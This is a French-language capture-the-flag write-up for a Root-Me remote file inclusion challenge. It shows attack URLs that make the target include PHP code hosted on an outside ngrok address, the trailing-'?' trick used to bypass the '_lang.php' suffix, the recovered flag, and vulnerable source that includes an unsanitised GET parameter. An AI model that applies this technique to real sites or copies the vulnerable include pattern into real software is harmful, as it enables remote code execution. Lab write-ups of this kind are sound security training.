Remote File Inclusion
Analyse du site
Lorsque l'on clique sur 'Français' ou 'Anglais', on peut voir que fr ou en sont passé en paramétres dans l'url :

On comprend rapidement que la faille se trouve dans l'URL.
Compromission
En changeant le paramétres fr en toto, nous générons une erreur et otenons le chemin de l'index.php mais également que le site rajoute l'extension _lang.php :

Le chemin d'accès à l'index.php est le suivant : /challenge/web-serveur/ch13/index.php
Essayons d'éxécuter du code. Création d'un script shell_exec. Je vais nommé mon fichier index_lang.php :
Je vais utiliser le service ngrok permettant de lier un un serveur local sur mon PC à une URL accessible depuis internet.
Mise en place du site malveillant dans l'URL : http://challenge01.root-me.org/web-serveur/ch13/?lang=https://6e0c-86-237-52-45.eu.ngrok.io/index
Le script à fonctionné, cependant, il est interprété sur ma machine et non sur le serveur distant :

Pour controuner ce problème nous allons rajouter un '?' à la fin de l'URL ce qui va permerttre de considèrer ce qui suit sera interpété comme un paramètre. Il faut également renommé le fichier en '.txt' afin qu'il ne soit plus interprété sur notre serveur mais sur le serveur distant.
Ce qui nous donne ceci : http://challenge01.root-me.org/web-serveur/ch13/?lang=https://6e0c-86-237-52-45.eu.ngrok.io/index_lang.txt?
Le code est enfin éxécuter sur le serveur distant, cependant, la fonction shell_exec est désactivé.

Essayons de faire un script php qui fait ressortir cet index. La fonction show_source permet de génèrer un fichier avec la syntaxe PHP en surbrillance. La syntaxe est mise en évidence à l'aide de balises HTML :

Nous avons enfin pu récupérer l'index, et ainsi le flag : R3m0t3_iS_r3aL1y_3v1l
Code source
<?php
/*
Congratz!
Le mot de passe de validation est : 
The validation password is : 
R3m0t3_iS_r3aL1y_3v1l
*/
$language="en";
if ( isset($_GET["lang"]) ){
    $language = $_GET["lang"];
}
include($language."_lang.php");
?>
<html>
<head><title>Remote File Inclusion</title></head>
<body>
<h3>
    <?php echo $lang['lang']; ?> : 
    <a href="?lang=fr" style="text-decoration:<?php ($language=="fr")?print "underline":print "none"; ?>">Français</a>
     | 
    <a href="?lang=en" style="text-decoration:<?php ($language=="en")?print "underline":print "none"; ?>">English</a>
</h3>
<p><?php echo $lang["welcome"]; ?></p>
</body>
</html>